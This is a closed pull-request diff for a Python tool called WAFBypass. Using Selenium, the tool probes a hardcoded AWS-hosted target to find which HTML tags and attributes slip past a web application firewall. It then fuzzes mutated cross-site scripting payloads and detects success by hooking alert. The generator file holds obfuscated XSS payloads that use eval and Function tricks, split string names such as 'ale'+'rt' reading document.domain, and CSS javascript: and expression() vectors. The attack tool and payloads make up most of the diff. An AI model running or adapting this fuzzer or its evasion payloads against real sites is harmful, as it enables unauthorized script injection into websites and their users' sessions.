merge dl-dev in neg-dev #2

Closed
negentropy wants to merge 2 commits from dl-dev into neg-dev
7 changed files with 425 additions and 268 deletions
Showing only changes of commit 196ffdcd4f - Show all commits

View File

@ -1,6 +1,7 @@
from language_utils import gen_boolean, gen_color, gen_date, gen_email, \
gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \
gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key
gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \
gen_duration
from utils import rndstr, choice
from mutations import Mutations
@ -15,6 +16,9 @@ class HTMLTag:
self.nameattr = rndstr(10)
self.rndchrpos = {}
self.mutator: Mutations = None
self.content = rndstr(10)
self.ids = []
self.names = []
def set_mutator(self, mutator):
self.mutator = mutator
@ -28,10 +32,11 @@ class HTMLTag:
if self.mutator:
# mutate attributes
for attr in self.attributes:
if attr.attr == AttrType.ATTR_TAG_SPECIFIC:
attr.__str__()
if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag:
cases = [
lambda x: self.my_mutate_attr(x),
lambda x: self.mutator.mutate_attr(x.value),
lambda x: self.mutator.mutate_attr(x),
lambda x: self.mutator.mutate_value(x),
]
choice(cases)(attr)
elif attr.attr == AttrType.ATTR_EVENT:
@ -53,6 +58,8 @@ class HTMLTag:
for attr in self.attributes:
tag += f"{attr} "
tag += ">"
if len(self.children) == 0:
tag += f"{self.content}"
for child in self.children:
tag += f"{child}"
tag += f"</{self.name}>"
@ -80,6 +87,7 @@ class HTMLTagAttributeType:
TypeDir = 13
TypeWindowTarget = 14
TypeAccessKey = 15
TypeDuration = 16
Generators = {
@ -99,6 +107,7 @@ Generators = {
HTMLTagAttributeType.TypeDir: gen_dir,
HTMLTagAttributeType.TypeWindowTarget: gen_wtarget,
HTMLTagAttributeType.TypeAccessKey: gen_access_key,
HTMLTagAttributeType.TypeDuration: gen_duration,
}

View File

@ -1,20 +1,8 @@
from utils import choice
from utils import choice, rndstr
def gen_text():
cases = {
0: lambda: 'alert(0)',
1: lambda: 'prompt\x600\x60',
2: lambda: '"confirm\x600\x60"',
3: lambda: 'window["alert"](0)',
4: lambda: 'window["prompt"](0)',
5: lambda: 'window["confirm"](0)',
6: lambda: '"alert\x600\x60"',
7: lambda: '"prompt\x600\x60"',
8: lambda: '"alert(1)"',
}
return choice(cases)()
return rndstr(8)
def gen_boolean():
@ -25,7 +13,7 @@ def gen_boolean():
3: lambda: 'false',
4: lambda: 'null',
5: lambda: 'undefined',
6: lambda: '""',
6: lambda: '',
7: lambda: '0',
8: lambda: '1',
}
@ -37,13 +25,8 @@ def gen_number():
cases = {
0: lambda: '0',
1: lambda: '1',
2: lambda: '0.1',
3: lambda: '1.1',
4: lambda: '0x1',
5: lambda: '0b1',
6: lambda: '0o1',
7: lambda: '1e1',
8: lambda: '1e-1',
2: lambda: '2',
3: lambda: '3',
}
return choice(cases)()
@ -68,17 +51,19 @@ def gen_color():
def gen_javascript():
cases = {
0: lambda: 'alert(0)',
1: lambda: 'prompt\x600\x60',
2: lambda: '"confirm\x600\x60"',
3: lambda: 'window["alert"](0)',
4: lambda: 'window["prompt"](0)',
5: lambda: 'window["confirm"](0)',
6: lambda: '"alert\x600\x60"',
7: lambda: '"prompt\x600\x60"',
8: lambda: '"alert(1)"',
9: lambda: 'console.log(alert(1))//',
10: lambda: 'console.log(alert(1))/*',
1: lambda: 'prompt`0`',
2: lambda: 'confirm`0`',
3: lambda: "window['alert'](0)",
4: lambda: "window['prompt'](0)",
5: lambda: "window['confirm'](0)",
6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`',
7: lambda: 'Function(`a${`lert\`1\``}`).call``',
8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//",
9: lambda: "eval.call`${'alert\x2823\x29'}`",
10: lambda: '[].sort.call`${alert}23`',
11: lambda: '{1:alert(1)}',
12: lambda: '(()=>{alert`1`})()',
13: lambda: 'x=alert;x(1);',
}
return choice(cases)()
@ -90,6 +75,8 @@ def gen_style():
0: lambda: 'background-image:url("javascript:alert(1)")',
1: lambda: 'expression(alert(1))',
2: lambda: 'expression\x600\x60',
3: lambda: 'animation-name:x;animation-duration:0s;',
4: lambda: '@keyframes x{}'
}
return choice(cases)()
@ -119,27 +106,19 @@ def gen_email():
def gen_date():
return ''
return '2020-01-01'
def gen_target(root):
if root is None:
return None
ids = []
ids.append(root.id)
for child in root.children:
ids.append(child.id)
return choice(ids)
def gen_target(tag):
if tag is None:
return ""
return choice(tag.ids)
def gen_name(root):
if root is None:
return None
names = []
names.append(root.nameattr)
for child in root.children:
names.append(child.nameattr)
return choice(names)
def gen_name(tag):
if tag is None:
return ""
return choice(tag.names)
def gen_flag():
@ -160,3 +139,7 @@ def gen_wtarget():
def gen_access_key():
return 'X'
def gen_duration():
return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"])

View File

@ -15,27 +15,27 @@ class Mutations:
return choice_percent(cases)(attr)
def mutate_value(self, value: str):
def mutate_value(self, attr):
cases = {
70: lambda x: x,
20: self.mutate_value_newline,
10: self.mutate_value_unicode,
}
return choice_percent(cases)(value)
return choice_percent(cases)(attr)
def mutate_tag(self, tag):
cases = {
70: lambda x: x,
30: self.mutate_tag_insert_random_pos,
95: lambda x: x,
5: self.mutate_tag_insert_random_pos,
}
return choice_percent(cases)(tag)
def mutate_js(self, js: str):
cases = {
70: lambda x: x,
30: self.mutate_js_insert_random_pos,
95: lambda x: x,
5: self.mutate_js_insert_random_pos,
}
return choice_percent(cases)(js)
@ -60,6 +60,10 @@ class Mutations:
def mutate_value_newline(attr):
# find a random position in the value
# and insert a newline
if (attr.value is None):
print("attr.value is None")
print(attr)
exit(0)
pos = choice(range(len(attr.value)))
attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}"
return attr
@ -84,7 +88,8 @@ class Mutations:
nmutations = choice(range(1, 4))
for _ in range(nmutations):
tag.rndchrpos[pos] = choice_percent(chars)()
mut = choice_percent(chars)
tag.rndchrpos[pos] = mut()
return tag

27
tags.py
View File

@ -3,6 +3,7 @@ from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType
Tags = [
HTMLTag('a', self_closing=False),
HTMLTag('animate', self_closing=True),
HTMLTag('abbr', self_closing=False),
HTMLTag('acronym', self_closing=False),
HTMLTag('address', self_closing=False),
@ -268,6 +269,15 @@ TagSpecificAttributes = {
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
],
'animate': [
HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText),
HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText),
HTMLAttribute('begin', HTMLTagAttributeType.TypeText),
HTMLAttribute('by', HTMLTagAttributeType.TypeText),
HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText),
HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration),
HTMLAttribute('end', HTMLTagAttributeType.TypeText),
],
'abbr': [
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
],
@ -286,7 +296,6 @@ TagSpecificAttributes = {
HTMLAttribute('data', HTMLTagAttributeType.TypeURL),
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('object', HTMLTagAttributeType.TypeURL),
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
@ -361,7 +370,6 @@ TagSpecificAttributes = {
HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText),
HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
@ -442,7 +450,6 @@ TagSpecificAttributes = {
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber),
@ -451,7 +458,6 @@ TagSpecificAttributes = {
'fieldset': [
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
],
'figcaption': [
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
@ -473,7 +479,6 @@ TagSpecificAttributes = {
HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText),
HTMLAttribute('enctype', HTMLTagAttributeType.TypeText),
HTMLAttribute('method', HTMLTagAttributeType.TypeText),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget),
],
@ -481,7 +486,6 @@ TagSpecificAttributes = {
HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText),
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
@ -537,7 +541,6 @@ TagSpecificAttributes = {
HTMLAttribute('csp', HTMLTagAttributeType.TypeText),
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('importance', HTMLTagAttributeType.TypeText),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText),
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
@ -556,7 +559,6 @@ TagSpecificAttributes = {
HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('loading', HTMLTagAttributeType.TypeText),
HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText),
HTMLAttribute('sizes', HTMLTagAttributeType.TypeText),
HTMLAttribute('src', HTMLTagAttributeType.TypeURL),
@ -590,7 +592,6 @@ TagSpecificAttributes = {
HTMLAttribute('min', HTMLTagAttributeType.TypeText),
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('pattern', HTMLTagAttributeType.TypeText),
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
@ -601,6 +602,7 @@ TagSpecificAttributes = {
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
HTMLAttribute('width', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget),
],
'ins': [
@ -639,7 +641,6 @@ TagSpecificAttributes = {
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
],
'map': [
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
],
'mark': [
HTMLAttribute('title', HTMLTagAttributeType.TypeText),
@ -665,7 +666,6 @@ TagSpecificAttributes = {
HTMLAttribute('charset', HTMLTagAttributeType.TypeText),
HTMLAttribute('content', HTMLTagAttributeType.TypeText),
HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText),
HTMLAttribute('name', HTMLTagAttributeType.TypeText),
],
'meter': [
HTMLAttribute('high', HTMLTagAttributeType.TypeNumber),
@ -697,7 +697,6 @@ TagSpecificAttributes = {
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('height', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('standby', HTMLTagAttributeType.TypeText),
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL),
@ -725,13 +724,11 @@ TagSpecificAttributes = {
'output': [
HTMLAttribute('for', HTMLTagAttributeType.TypeName),
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
],
'p': [
HTMLAttribute('align', HTMLTagAttributeType.TypeText),
],
'param': [
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('type', HTMLTagAttributeType.TypeText),
HTMLAttribute('value', HTMLTagAttributeType.TypeText),
HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText),
@ -775,7 +772,6 @@ TagSpecificAttributes = {
HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('size', HTMLTagAttributeType.TypeNumber),
],
@ -857,7 +853,6 @@ TagSpecificAttributes = {
HTMLAttribute('form', HTMLTagAttributeType.TypeName),
HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber),
HTMLAttribute('name', HTMLTagAttributeType.TypeName),
HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText),
HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag),
HTMLAttribute('required', HTMLTagAttributeType.TypeFlag),

View File

@ -7,10 +7,12 @@ def rndstr(length):
def choice(arr):
# randomize seed
return random.choice(arr)
def rndunicode():
# randomize seed
return chr(random.randint(0, 0x10FFFF))
@ -25,21 +27,17 @@ def choice_percent(elements):
# }
# that means we have 10% chance to get 'a', 20% chance to get 'b', etc.
# get total percent
total_percent = 0
for percent in elements:
total_percent += percent
total_percent = sum(elements.keys())
# get random number
random.seed(int(time.time() * 1000))
rnd = random.randint(0, total_percent)
rnd = random.randint(1, total_percent)
# get action
for percent in elements:
if rnd < percent:
return elements[percent]
else:
rnd -= percent
cumulative_percent = 0
for percent, action in elements.items():
cumulative_percent += percent
if rnd <= cumulative_percent:
return action
# should not reach here
return None

348
wafer.py Normal file
View File

@ -0,0 +1,348 @@
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.chrome import service
from urllib.parse import urlparse
from urllib.parse import urlencode
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
from mutations import Mutations
from utils import choice, choice_percent
from threading import Thread, Lock
import random
import time
# WAFBypass class
class TagList():
def __init__(self, e):
self.l = list(e)
def __str__(self) -> str:
s = ""
for tag in self.l:
s += f"{tag}"
return s
class FuzzQueue():
def __init__(self) -> None:
self.queue = []
self.lock = Lock()
def push(self, tag):
self.lock.acquire()
self.queue.append(tag)
self.lock.release()
def pop(self):
if len(self.queue) == 0:
return None
self.lock.acquire()
element = self.queue.pop()
self.lock.release()
return element
def __len__(self):
return len(self.queue)
class WAFBypass():
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;"
trigger = """
var ids = {0};
for (var i = 0; i < ids.length; i++) {{
var element = document.getElementById(ids[i]);
if(!element) continue;
// trigger all possible events click, mouseover, etc.
var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture'];
try {{
for (var j = 0; j < events.length; j++) {{
var event = new MouseEvent(events[j], {{bubbles: true}});
element.dispatchEvent(event);
}}
element.focus();
element.blur();
// trigger accesskey ctrl+alt+X
element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}}));
}} catch (e) {{}}
}}
"""
def __init__(self, url, param) -> None:
self.param = param
self.options = webdriver.ChromeOptions()
self.options.add_argument('--no-sandbox')
# self.options.add_argument('--headless')
self.options.add_argument('--disable-gpu')
self.options.add_experimental_option(
"excludeSwitches", ["enable-logging"])
self.unfiltered_attributes = {}
self.unfiltered_tags = []
self.driver = webdriver.Chrome(
options=self.options,
service=service.Service(service_args=["--log-path=NUL"]))
self.url = urlparse(url)
self.mutator = Mutations()
self.queue = FuzzQueue()
self.threads = []
self.lock = Lock()
self.payloads = 0
random.seed(time.time_ns())
if not self.check_connection():
raise Exception("Connection Error")
self.driver.execute_cdp_cmd(
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
def inc_payloads(self):
self.lock.acquire()
self.payloads += 1
self.lock.release()
def check_connection(self):
try:
self.driver.get(self.url.geturl())
return True
except:
return False
def wait_for_pageload(self, driver):
try:
WebDriverWait(driver, 4).until(
lambda driver: driver.execute_script("return document.readyState") == "complete")
except TimeoutError:
raise Exception("Page Load Error")
def get_page_title(self):
return self.driver.title
@property
def is_403(self):
return self.driver.title == "403 Forbidden"
@property
def triggered_xss(self):
return self.driver.execute_script("return window.alert_trigger")
def navigate(self, driver, url):
driver.get(url)
self.wait_for_pageload(driver)
is403 = False
if self.is_403:
is403 = True
else:
is403 = False
triggerxss = self.triggered_xss
return (is403, triggerxss)
def identify_unfiltered_attributes(self):
try:
self.unfiltered_attributes["global"] = []
self.unfiltered_attributes["events"] = []
self.unfiltered_attributes["tag_specific"] = {}
for attr in GlobalAttributes:
encoded = urlencode({self.param: f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(self.driver, url)
if not is403:
self.unfiltered_attributes["global"].append(attr)
for attr in EventsAttributes:
encoded = urlencode({self.param: f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(self.driver, url)
if not is403:
self.unfiltered_attributes["events"].append(attr)
for tag in self.unfiltered_tags:
if tag not in self.unfiltered_attributes["tag_specific"]:
self.unfiltered_attributes["tag_specific"][tag.name] = []
try:
for attr in TagSpecificAttributes[tag.name]:
encoded = urlencode(
{self.param: f"<{tag.name} {attr}/>"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(self.driver, url)
if not is403:
self.unfiltered_attributes["tag_specific"][tag.name].append(
attr)
except KeyError:
print(f"Tag {tag.name} not found in TagSpecificAttributes")
except KeyboardInterrupt:
return
def identify_unfiltered_tags(self):
try:
for tag in Tags:
encoded = urlencode({self.param: f"{tag}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(self.driver, url)
if not is403:
self.unfiltered_tags.append(tag)
except KeyboardInterrupt:
return
def dry_run(self):
try:
self.identify_unfiltered_tags()
self.identify_unfiltered_attributes()
except Exception as e:
raise Exception(f"Dry Run Error: {e}")
except KeyboardInterrupt:
return
def get_tag(self):
try:
tag = choice(self.unfiltered_tags)
# make a copy of tag to avoid mutating the original
tag = HTMLTag(tag.name, tag.self_closing)
tag.set_mutator(self.mutator)
nglobattr = choice(range(1, 3))
nattr = choice(range(1, 3))
globals = list(self.unfiltered_attributes["global"])
for _ in range(0, nglobattr):
if len(globals) == 0:
break
attr = choice(globals)
globals.remove(attr)
# make a copy of attr to avoid mutating the original
attr = HTMLAttribute(attr.name, attr.kind,
glob=True, root=None)
tag.add_attribute(attr)
attr = choice(self.unfiltered_attributes["events"])
# make a copy of attr to avoid mutating the original
attr = HTMLAttribute(attr.name, attr.kind,
glob=False, root=None)
tag.add_attribute(attr)
tag_specific = list(
self.unfiltered_attributes["tag_specific"][tag.name])
for _ in range(0, nattr):
if len(tag_specific) == 0:
break
attr = choice(tag_specific)
tag_specific.remove(attr)
# make a copy of attr to avoid mutating the original
attr = HTMLAttribute(attr.name, attr.kind,
glob=False, root=None)
tag.add_attribute(attr)
addchildren = {
70: lambda: False,
30: lambda: True
}
should_add = choice_percent(addchildren)
if (should_add()):
tag.children.append(self.get_tag())
return tag
except KeyboardInterrupt:
return None
def fuzz_thread(self, driver: webdriver.Chrome, started):
driver.execute_cdp_cmd(
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
while not started:
time.sleep(0.1)
pass
while True:
element = self.queue.pop()
if not element:
break
encoded = urlencode({self.param: f"{element}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, triggered = self.navigate(driver, url)
# close window
driver.close()
def get_tag_id(self, tag):
tag_ids = []
tag_ids.append(tag.id)
if len(tag.children) >= 0:
for child in tag.children:
tag_ids.extend(self.get_tag_id(child))
return tag_ids
def get_tag_name(self, tag):
tag_names = []
tag_names.append(tag.nameattr)
if len(tag.children) >= 0:
for child in tag.children:
tag_names.extend(self.get_tag_name(child))
return tag_names
def get_ids(self, tags):
tag_ids = []
for tag in tags:
tag_ids.extend(self.get_tag_id(tag))
return tag_ids
def get_names(self, tags):
tag_names = []
for tag in tags:
tag_names.extend(self.get_tag_name(tag))
return tag_names
def populate_ids_names(self, tags):
ids = self.get_ids(tags)
names = self.get_names(tags)
def populate(tag, ids=ids, names=names):
tag.ids = ids
tag.names = names
for child in tag.children:
populate(child)
for tag in tags:
populate(tag)
def test(self):
try:
self.dry_run()
print("Starting fuzzer")
while True:
tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))]
self.populate_ids_names(tags)
payload = TagList(tags)
encoded = urlencode({self.param: f"{payload}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, triggered = self.navigate(self.driver, url)
if triggered:
print(f"XSS Payload: {payload}")
self.driver.execute_script(
self.trigger.format(self.get_ids(tags)))
triggered = self.triggered_xss
if triggered:
print(f"XSS Payload: {payload}")
except KeyboardInterrupt:
print("Stopping fuzzer")
self.driver.close()
return
w = WAFBypass(
"http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2")
w.test()

181
xzzuf.py
View File

@ -1,181 +0,0 @@
from urllib.parse import unquote
import selenium
import time
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from urllib.parse import urlparse
from urllib.parse import urlencode
from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType
from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags
from mutations import Mutations
from utils import choice
# WAFBypass class
class WAFBypass():
code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
def __init__(self, url) -> None:
self.options = webdriver.ChromeOptions()
self.options.add_argument('--no-sandbox')
self.options.add_argument('--headless')
self.unfiltered_attributes = {}
self.unfiltered_tags = []
self.driver = webdriver.Chrome(options=self.options)
self.url = urlparse(url)
self.mutator = Mutations()
if not self.check_connection():
raise Exception("Connection Error")
self.driver.execute_cdp_cmd(
"Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
def check_connection(self):
try:
self.driver.get(self.url.geturl())
return True
except:
return False
def wait_for_pageload(self):
try:
WebDriverWait(self.driver, 4).until(
lambda driver: driver.execute_script("return document.readyState") == "complete")
except TimeoutError:
raise Exception("Page Load Error")
def get_page_title(self):
return self.driver.title
@property
def is_403(self):
return self.driver.title == "403 Forbidden"
@property
def triggered_xss(self):
return self.driver.execute_script("return window.alert_trigger")
def navigate(self, url):
self.driver.get(url)
self.wait_for_pageload()
is403 = False
if self.is_403:
is403 = True
else:
is403 = False
triggerxss = self.triggered_xss
return (is403, triggerxss)
def identify_unfiltered_attributes(self):
try:
self.unfiltered_attributes["global"] = []
self.unfiltered_attributes["events"] = []
self.unfiltered_attributes["tag_specific"] = {}
for attr in GlobalAttributes:
encoded = urlencode({"param2": f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
self.unfiltered_attributes["global"].append(attr)
for attr in EventsAttributes:
encoded = urlencode({"param2": f"{attr}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
self.unfiltered_attributes["events"].append(attr)
for tag in self.unfiltered_tags:
try:
for attr in TagSpecificAttributes[tag.name]:
if tag not in self.unfiltered_attributes["tag_specific"]:
self.unfiltered_attributes["tag_specific"][tag.name] = [
]
encoded = urlencode(
{"param2": f"<{tag.name} {attr}/>"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
self.unfiltered_attributes["tag_specific"][tag.name].append(
attr)
except KeyError:
print(f"Tag {tag.name} not found in TagSpecificAttributes")
except KeyboardInterrupt:
self.driver.close()
exit(0)
def identify_unfiltered_tags(self):
try:
for tag in Tags:
encoded = urlencode({"param2": f"{tag}"})
url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
is403, _ = self.navigate(url)
if not is403:
self.unfiltered_tags.append(tag)
except KeyboardInterrupt:
self.driver.close()
exit(0)
def dry_run(self):
try:
self.identify_unfiltered_tags()
self.identify_unfiltered_attributes()
for tag in self.unfiltered_tags:
tag.set_mutator(self.mutator)
except Exception as e:
raise Exception(f"Dry Run Error: {e}")
def run_fuzz(self):
self.dry_run()
def test(self):
try:
self.dry_run()
print("Unfiltered Tags:")
for tag in self.unfiltered_tags:
print(tag.name)
for _ in range(0, 10):
tag = choice(self.unfiltered_tags)
tag.attributes = []
tag.children = []
nglobattr = choice(range(1, 3))
nattr = choice(range(0, 3))
globals = self.unfiltered_attributes["global"]
for _ in range(0, nglobattr):
if len(globals) == 0:
break
attr = choice(globals)
globals.remove(attr)
tag.add_attribute(attr)
tag.add_attribute(choice(self.unfiltered_attributes["events"]))
tag_specific = self.unfiltered_attributes["tag_specific"][tag.name]
for _ in range(0, nattr):
if len(tag_specific) == 0:
break
attr = choice(tag_specific)
tag_specific.remove(attr)
tag.add_attribute(attr)
print(tag)
except KeyboardInterrupt:
self.driver.close()
exit(0)
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
w.test()